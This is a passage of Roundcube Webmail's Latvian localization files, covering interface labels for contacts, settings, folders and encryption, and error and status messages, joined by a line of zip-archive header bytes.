$labels['delete'] = 'Dzēst';
$labels['discard'] = 'Nesaglabāt';
$labels['continue'] = 'Turpināt';
$labels['ok'] = 'LABI';
$labels['rename'] = 'Pārdēvēt';
$labels['addphoto'] = 'Pievienot';
$labels['replacephoto'] = 'Aizvietot';
$labels['uploadphoto'] = 'Augšupielādēt fotogrāfiju';
$labels['choosefile'] = 'Norādīt failu...';
$labels['choosefiles'] = 'Norādīt failus...';
$labels['browse'] = 'Pārlūkot';
$labels['newcontact'] = 'Izveidot jaunu kontaktu';
$labels['deletecontact'] = 'Dzēst atzīmētos kontaktus';
$labels['composeto'] = 'Rakstīt vēstuli';
$labels['contactsfromto'] = 'Ieraksti no $from līdz $to - kopā $count';
$labels['print'] = 'Drukāt';
$labels['export'] = 'Eksportēt';
$labels['exportall'] = 'Eksportēt visu';
$labels['exportsel'] = 'Eksportēt atzīmēto';
$labels['exportvcards'] = 'Eksportēt kontaktus vCard formātā';
$labels['newgroup'] = 'Izveidot jaunu grupu';
$labels['addgroup'] = 'Pievienot grupu';
$labels['grouprename'] = 'Pārdēvēt grupu';
$labels['groupdelete'] = 'Izdzēst grupu';
$labels['groupassign'] = 'Pievienot grupai...';
$labels['groupremove'] = 'Dzēst no grupas...';
$labels['groupremoveselected'] = 'Dzēst atzīmētos kontaktus no grupas';
$labels['uponelevel'] = 'Vienu līmeni uz augšu';
$labels['previouspage'] = 'Parādīt iepriekšējo lapu';
$labels['firstpage'] = 'Parādīt pirmo lapu';
$labels['nextpage'] = 'Parādīt nākamo lapu';
$labels['lastpage'] = 'Parādīt pēdējo lapu';
$labels['group'] = 'Grupa';
$labels['groups'] = 'Grupas';
$labels['listgroup'] = 'Rādīt grupas kontaktus';
$labels['personaladrbook'] = 'Personīgās adreses';
$labels['searchsave'] = 'Saglabāt meklēšanas pieprasījumu';
$labels['searchdelete'] = 'Dzēst saglabāto meklēšanas pieprasījumu';
$labels['import'] = 'Importēt';
$labels['importcontacts'] = 'Importēt kontaktus';
$labels['importfromfile'] = 'Importēt no faila';
$labels['importtarget'] = 'Kontaktus pievienot';
$labels['importreplace'] = 'Aizvietot visu adrešu grāmatu';
$labels['importgroups'] = 'Importēt grupu piesaistes';
$labels['importgroupsall'] = 'Visus (ja nepieciešams, izveidojiet grupas)';
$labels['importgroupsexisting'] = 'Tikai esošām grupām';
$labels['importdesc'] = 'Jūs varat augšupielādēt kontaktus no jau esošas adrešu grāmatas.<br/>Tiek atbalstīta adrešu importēšana no <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> or CSV (ar komatu-dalīta) datu formāta.';
$labels['importmapdesc'] = 'Pirms turpināt CSV (komatiem atdalītu) datu importēšanu, pārliecinieties, ka zemāk esošā lauku kartēšanas informācija ir pareiza.';
$labels['fieldnotmapped'] = 'Lauks nav kartēts (neimportēt)';
$labels['skipheader'] = 'Neimportēt pirmo rindu (galvenes)';
$labels['done'] = 'Pabeigts';
$labels['settingsfor'] = 'Iestatījumi';
$labels['about'] = 'Par';
$labels['preferences'] = 'Iestatījumi';
$labels['userpreferences'] = 'Lietotāja iestatījumi';
$labels['editpreferences'] = 'Rediģēt iestatījumus';
$labels['identities'] = 'Identitātes';
$labels['manageidentities'] = 'Rediģēt identitātes';
$labels['newidentity'] = 'Izveidot jaunu identitāti';
$labels['addidentity'] = 'Pievienot identitāti';
$labels['editidentity'] = 'Rediģēt identitāti';
$labels['identityencryption'] = 'Šifrēšana';
$labels['preferhtml'] = 'Rādīt HTML formatētās vēstules';
$labels['defaultcharset'] = 'Noklusētā rakstzīmju kopa';
$labels['htmlmessage'] = 'HTML formatēta vēstule';
$labels['messagepart'] = 'Daļa';
$labels['digitalsig'] = 'Digitālais paraksts';
$labels['dateformat'] = 'Datuma formāts';
$labels['timeformat'] = 'Laika formāts';
$labels['prettydate'] = 'Rādīt īsos datumus';
$labels['setdefault'] = 'Uzlikt kā noklusēto';
$labels['autodetect'] = 'Automātiska';
$labels['language'] = 'Valoda';
$labels['timezone'] = 'Laika zona';
$labels['pagesize'] = 'Rindas lapā';
$labels['signature'] = 'Paraksts';
$labels['dstactive'] = 'Vasaras/ziemas laiks';
$labels['showinextwin'] = 'Vēstules atvērt jaunā logā';
$labels['composeextwin'] = 'Vēstuli rakstīt jaunā logā';
$labels['htmleditor'] = 'Rakstīt HTML formatētas vēstules';
$labels['htmlonreply'] = 'tikai atbildot uz HTML formatētām vēstulēm';
$labels['htmlonreplyandforward'] = 'tikai pārsūtot vai atbildot uz HTML formatētu vēstuli';
$labels['htmlsignature'] = 'HTML formatēts paraksts';
$labels['showemail'] = 'Pie vārda rādīt arī e-pasta adresi';
$labels['previewpane'] = 'Rādīt priekšskatījuma paneli';
$labels['skin'] = 'Saskarnes izskats';
$labels['logoutclear'] = 'Izejot no e-pasta, iztīrīt papīrgrozu';
$labels['logoutcompact'] = 'Izejot no e-pasta, saspiest iesūtni';
$labels['uisettings'] = 'Lietotāja saskarne';
$labels['serversettings'] = 'Servera iestatījumi';
$labels['mailboxview'] = 'Pastkastes skats';
$labels['mdnrequests'] = 'Vēstules izlasīšanas atskaites sūtīšana';
$labels['askuser'] = 'jautāt man vai sūtīt';
$labels['autosend'] = 'sūtīt automātiski';
$labels['autosendknown'] = 'automātiski sūtīt ja pieprasītājs ir manos kontaktos, par citiem jautāt';
$labels['autosendknownignore'] = 'automātiski sūtīt ja pieprasītājs ir manos kontaktos, citiem ignorēt un nesūtīt';
$labels['autosendtrusted'] = 'sūtīt saņemšanas apstiprinājumu uzticamiem sūtītājiem, pretējā gadījumā jautāt man';
$labels['autosendtrustedignore'] = 'sūtīt saņemšanas apstiprinājumu uzticamajiem sūtītājiem, pretējā gadījumā ignorēt';
$labels['ignorerequest'] = 'ignorēt pieprasījumu';
$labels['readwhendeleted'] = 'Dzēšot vēstules tās atzīmēt kā izlasītas';
$labels['flagfordeletion'] = 'Dzēšot vēstules tās nedzēst, bet marķēt kā dzēšamas';
$labels['skipdeleted'] = 'Nerādīt dzēstās vēstules';
$labels['deletealways'] = 'Izdzēst vēstules, ja tās neizdodas pārvietot uz papīrgrozu';
$labels['deletejunk'] = 'Automātiski dzēst vēstules no mēstuļu mapītes';
$labels['showremoteimages'] = 'Rādīt vēstulēs attēlus, kuri atrodas uz cita servera';
$labels['allowremoteresources'] = 'Atļaut ārējus resursus (attēli, stili)';
$labels['fromknownsenders'] = 'tikai no zināmiem sūtītājiem';
$labels['fromtrustedsenders'] = 'no uzticamajiem sūtītājiem';
$labels['frommycontacts'] = 'no maniem kontaktiem';
$labels['always'] = 'vienmēr';
$labels['alwaysbutplain'] = 'vienmēr, izņemot gadījumus, kad tiek atbildēts "parastā teksta" vēstulēm';
$labels['showinlineimages'] = 'Rādīt pielikuma attēlus zem vēstules';
$labels['autosavedraft'] = 'Automātiski saglabāt vēstules uzmetumu';
$labels['everynminutes'] = 'ik pēc $n minūtes(ēm)';
$labels['refreshinterval'] = 'Pārbaudīt jaunās vēstules';
$labels['never'] = 'nekad';
$labels['immediately'] = 'nekavējoties';
$labels['messagesdisplaying'] = 'Vēstuļu attēlošana';
$labels['messagescomposition'] = 'Vēstuļu rakstīšana';
$labels['mimeparamfolding'] = 'Pielikumu nosaukumi';
$labels['2231folding'] = 'Pilns RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Pilns RFC 2047 (citi)';
$labels['force7bit'] = 'Izmantot MIME kodējumu 8-bitu simboliem';
$labels['savelocalstorage'] = "Saglabāt pārlūka atmiņā (pagaidu)";
$labels['advancedoptions'] = 'Paplašinātie iestatījumi';
$labels['toggleadvancedoptions'] = 'Parādīt paplašinātos iestatījumus';
$labels['focusonnewmessage'] = 'Uzstādīt pārlūka fokusu uz jaunu vēstuli';
$labels['checkallfolders'] = 'Meklēt visās mapēs jaunās vēstules';
$labels['displaynext'] = 'Pēc vēstules dzēšanas/pārvietošanas rādīt nākamo vēstuli';
$labels['defaultfont'] = 'Noklusētais fonts vēstulēm HTML formātā';
$labels['mainoptions'] = 'Galvenie iestatījumi';
$labels['browseroptions'] = 'Pārlūka iestatījumi';
$labels['section'] = 'Sadaļa';
$labels['maintenance'] = 'Uzturēšana';
$labels['newmessage'] = 'Vēstuļu pienākšana';
$labels['signatureoptions'] = 'Paraksta iestatījumi';
$labels['whenreplying'] = 'Atbildot';
$labels['replyempty'] = 'neiekļaut vēstules sākotnējo tekstu';
$labels['replytopposting'] = 'sākt jaunu vēstuli virs oriģināla';
$labels['replytoppostingnoindent'] = 'sākt jaunu ziņu virs citēšanas (bez identācijas)';
$labels['replybottomposting'] = 'sākt jaunu vēstuli zem oriģināla';
$labels['replyremovesignature'] = 'Atbildot izņemt oriģinālo parakstu no vēstules';
$labels['autoaddsignature'] = 'Automātiski pievienot parakstu';
$labels['newmessageonly'] = 'tikai jaunām vēstulēm';
$labels['replyandforwardonly'] = 'tikai atbildēm un pārsūtījumiem';
$labels['insertsignature'] = 'Ievietot parakstu';
$labels['sigbelow'] = 'Parakstu novietot zem sūtītās vēstules oriģinālā';
$labels['sigseparator'] = 'Parakstam obligāti izmantot standarta dalītāju';
$labels['automarkread'] = 'Atzīmēt vēstules kā lasītas';
$labels['afternseconds'] = 'pēc $n sekundēm';
$labels['reqmdn'] = 'Vienmēr pieprasīt saņemšanas apstiprinājumu';
$labels['reqdsn'] = 'Vienmēr pieprasīt atskati par piegādi';
$labels['replysamefolder'] = 'Glabāt atbildes tajā pašā mapē, kurā ir vēstule, uz kuru tika atbildēts';
$labels['defaultabook'] = 'Noklusētā adrešu grāmata';
$labels['autocompletesingle'] = 'Automātiski aizpildot, nerādīt alternatīvās e-pasta adreses';
$labels['listnamedisplay'] = 'Rādīt kontaktus kā';
$labels['contactformmode'] = 'Kontaktu formas režīms';
$labels['privatemode'] = 'Privāts (Mājas)';
$labels['businessmode'] = 'Biznesa (Darba)';
$labels['collectedaddresses'] = 'Uzkrātās adreses';
$labels['collectedrecipients'] = 'Uzkrātie saņēmēji';
$labels['collectedrecipientsopt'] = 'Uzkrāt izejošo e-pastu adresātus iekš';
$labels['collectedsendersopt'] = 'Uzkrāt uzticamos sūtītājus iekš';
$labels['trustedsenders'] = 'Uzticamie sūtītāji';
$labels['spellcheckbeforesend'] = 'Pirms vēstules nosūtīšanas pārbaudīt pareizrakstību';
$labels['spellcheckoptions'] = 'Pareizrakstības iestatījumi';
$labels['spellcheckignoresyms'] = 'Ignorēt vārdus, kuri satur simbolus';
$labels['spellcheckignorenums'] = 'Ignorēt vārdus, kuri satur skaitļus';
$labels['spellcheckignorecaps'] = 'Ignorēt vārdus, kuri rakstīti ar lielajiem burtiem';
$labels['addtodict'] = 'Pievienot vārdnīcai';
$labels['mailtoprotohandler'] = 'Atverot mailto: saites, lietot šo e-pasta programmu';
$labels['standardwindows'] = 'Izlēcošie logi kā parasti logi';
$labels['forwardmode'] = 'Vēstuļu pārsūtīšana';
$labels['inline'] = 'iekļaujot';
$labels['asattachment'] = 'kā pielikumu';
$labels['replyallmode'] = '[Atbildēt visiem] pogas noklusētā darbība';
$labels['replyalldefault'] = 'atbildēt visiem';
$labels['replyalllist'] = 'atbildēt tikai sarakstei (ja tāda tiek atrasta)';
$labels['allmessages'] = 'visām vēstulēm';
$labels['folder'] = 'Mapi';
$labels['folders'] = 'Mapes';
$labels['foldername'] = 'Mapes nosaukums';
$labels['subscribed'] = 'Abonēta';
$labels['messagecount'] = 'Vēstules';
$labels['create'] = 'Izveidot';
$labels['createfolder'] = 'Izveidot jaunu mapi';
$labels['managefolders'] = 'Rediģēt mapes';
$labels['specialfolders'] = 'Īpašās mapes';
$labels['properties'] = 'Īpašības';
$labels['folderproperties'] = 'Mapes īpašības';
$labels['parentfolder'] = 'Virsmape';
$labels['location'] = 'Atrašanās vieta';
$labels['info'] = 'Informācija';
$labels['getfoldersize'] = 'Uzklikšķiniet, lai uzzinātu mapes izmēru';
$labels['changesubscription'] = 'Uzklikšķiniet, lai mainītu abonēšanas iestatījumus';
$labels['foldertype'] = 'Mapes tips';
$labels['personalfolder'] = 'Privāta mape';
$labels['otherfolder'] = 'Cita lietotāja mape';
$labels['sharedfolder'] = 'Publiska mape';
$labels['findfolders'] = 'Meklēt mapes';
$labels['findcontacts'] = 'Atrast kontaktus';
$labels['findmail'] = 'Atrast epastus';
$labels['namespace.personal'] = 'Personīgās';
$labels['namespace.other'] = 'Citi lietotāji';
$labels['namespace.shared'] = 'Koplietota';
$labels['dualuselabel'] = 'Drīkst saturēt tikai';
$labels['dualusemail'] = 'vēstules';
$labels['dualusefolder'] = 'mapes';
$labels['generate'] = 'Ģenerēt';
$labels['encryptioncreatekey'] = 'Izveidot jaunu atslēgu pāri';
$labels['openmailvelopesettings'] = 'Parādīt "Mailvelope" iestatījumus';
$labels['encryption'] = 'Šifrēšana';
$labels['mailvelopeoptions'] = 'Mailvelope opcijas';
$labels['mailvelopemainkeyring'] = 'Izmantojiet Mailvelope galveno "keyring"';
$labels['mailvelopenotfound'] = 'Mailvelope paplašinājums Jūsu interneta pārlūkā nav iespējots/uzinstalēts.';
$labels['sortby'] = 'Kārtot pēc';
$labels['sortasc'] = 'Kārtot augošā secībā';
$labels['sortdesc'] = 'Kārtot dilstošā secībā';
$labels['undo'] = 'Atsaukt';
$labels['installedplugins'] = 'Uzstādītie spraudņi';
$labels['plugin'] = 'Spraudnis';
$labels['version'] = 'Versija';
$labels['source'] = 'Oriģināls';
$labels['destination'] = 'Galamērķis';
$labels['license'] = 'Licence';
$labels['support'] = 'Atbalsts';
$labels['savedsearches'] = 'Saglabātie mekkējumi';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'kB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unikods';
$labels['english'] = 'Angļu';
$labels['westerneuropean'] = 'Rietumeiropas';
$labels['easterneuropean'] = 'Austrumeiropas';
$labels['southeasterneuropean'] = 'Dienvidaustrumu Eiropas';
$labels['baltic'] = 'Baltijas';
$labels['cyrillic'] = 'Kirilicas';
$labels['arabic'] = 'Arābu';
$labels['greek'] = 'Grieķu';
$labels['hebrew'] = 'Ebreju';
$labels['turkish'] = 'Turku';
$labels['nordic'] = 'Ziemeļvalstu';
$labels['thai'] = 'Taizemes';
$labels['celtic'] = 'Ķeltu';
$labels['vietnamese'] = 'Vjetnamiešu';
$labels['japanese'] = 'Japāņu';
$labels['korean'] = 'Korejiešu';
$labels['chinese'] = 'Ķīniešu';
$labels['arialabeltopnav'] = 'Loga kontorle';
$labels['arialabeltasknav'] = 'Programmas uzdevumi';
$labels['arialabeltoolbar'] = 'Programmas rīkjosla';
$labels['arialabellistnav'] = 'Saraksta navigācija';
$labels['arialabelactivetask'] = 'Aktīvā darbība';
$labels['arialabelmessagessearchfilter'] = 'Epastu saraksta filtrs';
$labels['arialabelmailsearchform'] = 'Epastu meklēšanas forma';
$labels['arialabelcontactsearchform'] = 'Kontaktu meklēšanas forma';
$labels['arialabelmailquicksearchbox'] = 'Epastu meklēšanas ievadlauks';
$labels['arialabelquicksearchbox'] = 'Meklēšanas ievadlauks';
$labels['arialabelfoldersearchfilter'] = 'Mapju saraksta filtrs';
$labels['arialabelfoldersearchform'] = 'Mapju meklēšanas forma';
$labels['arialabelfolderlist'] = 'Epastu mapju atzīmēšana';
$labels['arialabelmessagelist'] = 'Epastu saraksts';
$labels['arialabelmailpreviewframe'] = 'Ziņojuma priekšskats';
$labels['arialabelmailboxmenu'] = 'Izvēlne darbībām ar mapēm';
$labels['arialabellistselectmenu'] = 'Izvēlne sarakstu atzīmēšanai';
$labels['arialabelthreadselectmenu'] = 'Vēstuļu vijumu saraksta izvēlne';
$labels['arialabelmessagelistoptions'] = 'Vēstuļu attēlošanas un šķirošanas iestatījumi';
$labels['arialabelmailimportdialog'] = 'Vēstuļu importēšanas dialogs';
$labels['arialabelmessagenav'] = 'Vēstuļu navigācija';
$labels['arialabelmessagebody'] = 'Vēstules teksts';
$labels['arialabelmessageactions'] = 'Darbības ar vēstuli';
$labels['arialabelcontactquicksearch'] = 'Kontaktu meklēšanas forma';
$labels['arialabelcontactsearchbox'] = 'Kontaktu meklēšanas ievadlauks';
$labels['arialabelmessageheaders'] = 'Ziņojuma galvenes';
$labels['arialabelforwardingoptions'] = 'Pārsūtīšanas iestatījumi';
$labels['arialabelreplyalloptions'] = 'Atbildēt-visiem iestatījumi';
$labels['arialabelmoremessageactions'] = 'Citas darbības ar vēstulēm';
$labels['arialabelmorecontactactions'] = 'Citas darbības ar kontaktiem';
$labels['arialabelmarkmessagesas'] = 'Atzīmēt norādītās vēstules kā ...';
$labels['arialabelcomposeoptions'] = 'Rakstīšanas iestatījumi';
$labels['arialabelresponsesmenu'] = 'Gatavo atbilžu izvēlne';
$labels['arialabelattachmentuploadform'] = 'Pielikuma augšupielādes forma';
$labels['arialabelattachmentmenu'] = 'Pielikuma parametri';
$labels['arialabelmailtomenu'] = 'E-pasta adreses opcijas';
$labels['arialabelattachmentpreview'] = 'Pielikuma priekšskats';
$labels['ariasummarycomposecontacts'] = 'Kontaktu un grupu saraksts ko norādīt kā saņēmējus';
$labels['arialabelcontactexportoptions'] = 'Kontaktu eksportēšanas iestatījumi';
$labels['arialabelabookgroupoptions'] = 'Adrešu grāmatas/grupas iestatījumi';
$labels['arialabelpreferencesform'] = 'Iestatījumu forma';
$labels['arialabelidentityeditfrom'] = 'Identitātes rediģēšanas forma';
$labels['arialabelresponseeditfrom'] = 'Atbildes rediģēšanas forma';
$labels['arialabelsearchterms'] = 'Meklēšanas termini';
$labels['arialabeldropactionmenu'] = '"Velc un Noliec" darbības izvēlne';
$labels['arialabelheadersmenu'] = 'Adresāta (galvenē) pievienošanas izvēlne';
$labels['arialabelimagetools'] = 'Attēla rīki';
$labels['helplistnavigation'] = 'Parādīt klaviatūras īsos taustiņus';
$labels['helplistkeyboardnavigation'] = "Bultiņas augšup/lejup: Mainīt rindas izsgaismošanu/atzīmēšanu.
Garais taustiņš: Atzīmēt izgaismoto rindu.
Shift + augšup/lejup: Atzīmēt papildus rindas augšup/lejup.
Ctrl + Garais taustiņš: Pievienot vai noņemt izgaismoto rindu no atzīmēto saraksta.";
$labels['helplistkeyboardnavmessages'] = "Bultiņas pa labi/kreisi: atvērt vai aizvērt vēstules vijumu (tikai vijumu režīmā)
Enter: Atvērt atzīmēto/izgaismoto vēstuli.
Dzēst: Pārvietot atzīmēto vēstuli uz papīrgrozu.";
$labels['helplistkeyboardnavcontacts'] = "Enter: atvērt iezīmētos/izgaismotos kontaktus.";
PK
h�\�Wz�@I@I'program/localization/lv_LV/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Radās kļūda!';
$messages['loginfailed']  = 'Pieslēgties neizdevās';
$messages['cookiesdisabled'] = 'Jūsu pārlūkprogramma neatbalsta sīkdatnes (cookies)';
$messages['sessionerror'] = 'Jūsu sessija ir beigusies.';
$messages['cookiesmismatch'] = 'Konstatēta sīkfailu neatbilstība. Lūdzu, notīriet Jūsu interneta pārlūkprogrammas sīkfailus.';
$messages['storageerror'] = 'Neizdevās pieslēgties IMAP serverim';
$messages['servererror'] = 'Servera kļūda!';
$messages['servererrormsg'] = 'Servera kļūda: $msg';
$messages['accountlocked'] = 'Pārāk daudz neveiksmīgu autorizēšanās mēģinājumu. Mēģiniet atkārtoti vēlāk.';
$messages['connerror'] = 'Savienojuma kļūda - nav iespējams pieslēgties serverim!';
$messages['dberror'] = 'Datubāzes kļūda!';
$messages['dbconnerror'] = 'Neizdevās pieslēgties datubāzei!';
$messages['windowopenerror'] = 'Izlēcošais logs tika bloķēts!';
$messages['requesttimedout'] = 'Pieprasījumam iestājās noilgums';
$messages['errorreadonly'] = 'Neizdevās veikt darbību: mape ir tikai lasāma (read only)';
$messages['errornoperm'] = 'Neizdevās veikt darbību: piekļuve liegta';
$messages['erroroverquota'] = 'Operāciju veikt nav iespējams. Uz diska nav brīvas veitas.';
$messages['erroroverquotadelete'] = 'Uz diska nav brīvas vietas. Lai dzēstu vēstuli, lietojiet SHIFT+DEL.';
$messages['invalidrequest'] = 'Nederīgs pieprasījums! Dati netika saglabāti ...';
$messages['invalidhost'] = 'Nederīgs servera nosaukums';
$messages['nomessagesfound'] = 'Šajā pastkastē nav vēstuļu';
$messages['loggedout'] = 'Jūs veiksmīgi pārtraucāt sesiju. Uz redzēšanos!';
$messages['mailboxempty'] = 'Pastkaste ir tukša';
$messages['nomessages'] = 'Nav nevienas vēstules';
$messages['refreshing'] = 'Atjauno...';
$messages['loading'] = 'Notiek ielāde...';
$messages['uploading'] = 'Augšupielāde failu...';
$messages['attaching'] = 'Pievieno failu...';
$messages['uploadingmany'] = 'Augšupielādē failus...';
$messages['loadingdata'] = 'Ielādē datus...';
$messages['checkingmail'] = 'Notiek pasta pārbaude ...';
$messages['sendingmessage'] = 'Tiek sūtīta vēstule ...';
$messages['messagesent'] = 'Vēstule nosūtīta veiksmīgi';
$messages['savingmessage'] = 'Vēstule tiek saglabāta ...';
$messages['messagesaved'] = 'Vēstule saglabāta Uzmetumos';
$messages['successfullysaved'] = 'Veiksmīgi saglabāts.';
$messages['savingresponse'] = 'Tiek saglabāts atbildes teksts ...';
$messages['deleteresponseconfirm'] = 'Vai Jūs tiešām gribat dzēst šo atbildes tekstu?';
$messages['nocontactselected'] = 'Jūs vēl neesat norādījuši nevienu kontaktu.';
$messages['addedsuccessfully'] = 'Kontakts veiksmīgi pievienots adrešu grāmatai';
$messages['contactexists'] = 'Kontakts ar šādu e-pasta adresi jau eksistē';
$messages['contactnameexists'] = 'Kontakts ar šādu vārdu jau eksistē.';
$messages['blockedimages'] = 'Drošības nolūkos attēli, kuri tiek ielādēti no cita servera, šajā vēstulē ir bloķēti';
$messages['blockedresources'] = 'Lai aizsargātu Jūsu privātumu, attālinātie reursi tika nobloķēti.';
$messages['suspiciousemail'] = 'Šajā e-pasta ziņojumā ir aizdomīgas e-pasta adreses, kuras, iespējams, ir krāpnieciskas.';
$messages['bccemail'] = 'Pārsūtītajā (-os) ziņojumā (-os) ir konfidenciāli saņēmēji (BCC).';
$messages['bouncehint'] = 'Ziņojums tiks nosūtīts bez jebkādām izmaiņām, t.i., izmantojot sākotnējo pamattekstu, galvenes un adresātus.';
$messages['encryptedmessage'] = 'Atvainojiet - šī ir šifrēta vēstule un diemžēl nevar tikt parādīta ...';
$messages['externalmessagedecryption'] = 'Šis e-pasts ir šifrēts un var tikt atšifrēts izmantojot interneta pārlūka paplašinājumu.';
$messages['nopubkeyfor'] = 'E-pastam $email netika atrasta neviena publiskā atslēga';
$messages['nopubkeyforsender'] = 'Jūsu sūtīšanas identitātei nav iespējams atrast publisko atslēgu. Vai e-pastu šifrēt tikai saņēmējiem?';
$messages['encryptnoattachments'] = 'Jau augšupielādētu pielikumu nav iespējams nošifrēt. Lūdzu pievienojiet to atkārtoti, izmantojot šifrēšanas redakrotu.';
$messages['searchpubkeyservers'] = 'Vai Jūs gribat lai trūkstošās atslēgas tiek sameklēt publiskajos atslēgu serveros?';
$messages['encryptpubkeysfound'] = 'Tika atrastas sekojošās publiskās atslēgas:';
$messages['keyservererror'] = 'Neizdevās iegūt atslēgu no atslēgu servera.';
$messages['keyimportsuccess'] = 'Publiskā atslēga $key veiksmīgi ieimportēta Jūsu atslēgu sarakstā.';
$messages['nocontactsfound'] = 'Kontakti netika atrasti';
$messages['contactnotfound'] = 'Pieprasītais kontakts nav atrasts';
$messages['contactsearchonly'] = 'Lai atrastu kontaktus no atzīmētās adrešu grāmatas, Jums ir jāizmanto meklēšanas forma.';
$messages['sendingfailed'] = 'Vēstule netika nosūtīta';
$messages['senttooquickly'] = 'Lūdzu uzgaidiet $sec sekundi(-es) pirms sūtiet šo vēstuli';
$messages['errorsavingsent'] = 'Saglabājot nosūtīto vēstuli notika kļūda - vēstule netika saglabāta';
$messages['errorsaving'] = 'Saglabājot vēstuli notika kļūda - vēstule netika saglabāta';
$messages['errormoving'] = 'Vēstule(s) netika pārvietota(s)';
$messages['errorcopying'] = 'Vēstules pārkopēt neizdevās';
$messages['errordeleting'] = 'Vēstules izdzēst neizdevās';
$messages['errormarking'] = 'Iezīmēt vēstules nebija iespējams';
$messages['alerttitle'] = 'Uzmanību';
$messages['confirmationtitle'] = 'Vai Jūs esat pārliecināts...';
$messages['deletecontactconfirm']  = 'Vai tiešām vēlaties dzēst iezīmētās kontaktpersonas?';
$messages['deletegroupconfirm']  = 'Vai tiešām vēlaties dzēst atzīmēto grupu?';
$messages['deletemessagesconfirm'] = 'Vai tiešām vēlaties dzēst iezīmētās vēstules?';
$messages['deletefolderconfirm']  = 'Vai tiešām vēlaties dzēst šo mapi?';
$messages['movefolderconfirm']  = 'Vai Jūs tiešām gribat pārvietot šo mapi?';
$messages['purgefolderconfirm']  = 'Vai tiešām vēlaties dzēst visas vēstules, kuras atrodas šajā mapē?';
$messages['contactdeleting'] = 'Dzēš kontaktus...';
$messages['groupdeleting'] = 'Dzēš grupu...';
$messages['folderdeleting'] = 'Dzēš mapi...';
$messages['foldermoving'] = 'Pārvieto mapi...';
$messages['foldersubscribing'] = 'Pieslēdz mapi...';
$messages['folderunsubscribing'] = 'Atslēdz mapi...';
$messages['formincomplete'] = 'Forma nav pilnībā aizpildīta';
$messages['noemailwarning'] = 'Lūdzu ievadiet korektu e-pasta adresi';
$messages['nonamewarning']  = 'Lūdzu ievadiet vārdu';
$messages['nopagesizewarning'] = 'Lūdzu ievadiet lapas izmēru';
$messages['nosenderwarning'] = 'Lūdzu ievadiet sūtītāja e-pasta adresi';
$messages['recipientsadded'] = 'Adresāti pievienoti veiksmīgi.';
$messages['norecipientwarning'] = 'Lūdzu ievadiet vismaz vienu saņēmēju';
$messages['disclosedrecipwarning'] = 'Katrs adresāts redzēs pārējos adresātus. Lai to novērstu un nodrošinātu adresātu privātumu, lūdzu izmantojiet Bcc lauku.';
$messages['disclosedreciptitle'] = 'Pārāk daudz publisku adresātu';
$messages['nosubjectwarning']  = 'Lauks "temats" ir tukšs. Vai vēlaties to aizpildīt tagad?';
$messages['nosubjecttitle']  = 'Bez tēmas';
$messages['nobodywarning'] = 'Sūtīt vēstuli bez teksta?';
$messages['notsentwarning'] = 'Vēstule netika nosūtīta un tā satur nesaglabātas izmaiņas. Vai gribat atcelt šīs izmaiņas?';
$messages['restoresavedcomposedata'] = 'Ir atrasta pirms kāda laika uzrakstīta, bet nenosūtīta vēstule.\n\nTēma: $subject\nSaglabāta:$date\n\nVai atjaunot šo vēstuli?';
$messages['nosearchname'] = 'Lūdzu ievadiet kontaktpersonas vārdu vai e-pasta adresi';
$messages['notuploadedwarning'] = 'Visi pielikumi vēl nav augšupielādēti - lūdzu uzgaidiet vai atceļiet augšupielādi';
$messages['searchsuccessful'] = 'Atrastas $nr vēstules';
$messages['contactsearchsuccessful'] = 'Atrasti $nr kontakti';
$messages['searchnomatch'] = 'Meklējot nekas netika atrasts';
$messages['searching'] = 'Meklē...';
$messages['checking'] = 'Pārbauda...';
$messages['stillsearching'] = 'Joprojām meklē ...';
$messages['nospellerrors'] = 'Pareizrakstības kļūdas netika atrastas';
$messages['folderdeleted'] = 'Mape veiksmīgi izdzēsta';
$messages['foldersubscribed'] = 'Mape veiksmīgi pieslēgta.';
$messages['folderunsubscribed'] = 'Mape veiksmīgi atslēgta.';
$messages['folderpurged'] = 'Mape veiksmīgi iztukšota.';
$messages['folderexpunged'] = 'Mape veiksmīgi saspiesta.';
$messages['deletedsuccessfully'] = 'Veiksmīgi izdzēsts';
$messages['converting'] = 'Tiek noņemts vēstules formatējums...';
$messages['messageopenerror'] = 'Nevarēja ielādēt vēstuli no servera';
$messages['filelinkerror'] = 'Neizdevās faila pievienošana.';
$messages['fileuploaderror'] = 'Faila augšupielāde neveiksmīga';
$messages['csvfilemismatch'] = 'Vairāku CSV failu importēšana ar dažādiem datu laukiem nav iespējama.';
$messages['filesizeerror'] = 'Augšupielādētais fails pārsniedz pieļaujamo $size izmēru.';
$messages['filecounterror'] = 'Vienā reizē Jūs varat augšupielādēt maksimums $count failus.';
$messages['msgsizeerror'] = 'Neizdevās pievienot failu. Vēstules izmērs nedrīkst pārsniegt maksimālo pieļaujamo - $size .';
$messages['msgsizeerrorfwd'] = 'Pārsniegts maksimālais ziņojuma izmērs ($size). $num ziņojumi netika pievienoti..';
$messages['copysuccess'] = '$nr kontakti tika veiksmīgi pārkopēti.';
$messages['movesuccess'] = '$nr kontakti tika veiksmīgi pārvietoti.';
$messages['copyerror'] = 'Kontaktus pārkopēt neizdevās.';
$messages['moveerror'] = 'Kontaktus pārvietot neizdevās.';
$messages['sourceisreadonly'] = 'Adreses avots ir lasīšanas režīmā tikai';
$messages['errorsavingcontact'] = 'Kontakta adresi nevarēja saglabāt.';
$messages['movingmessage'] = 'Pārvieto vēstules...';
$messages['copyingmessage'] = 'Kopē vēstules...';
$messages['copyingcontact'] = 'Kopē kontaktus...';
$messages['movingcontact'] = 'Pārvieto kontaktu(s)...';
$messages['deletingmessage'] = 'Dzēš vēstules...';
$messages['markingmessage'] = 'Atzīmē vēstules...';
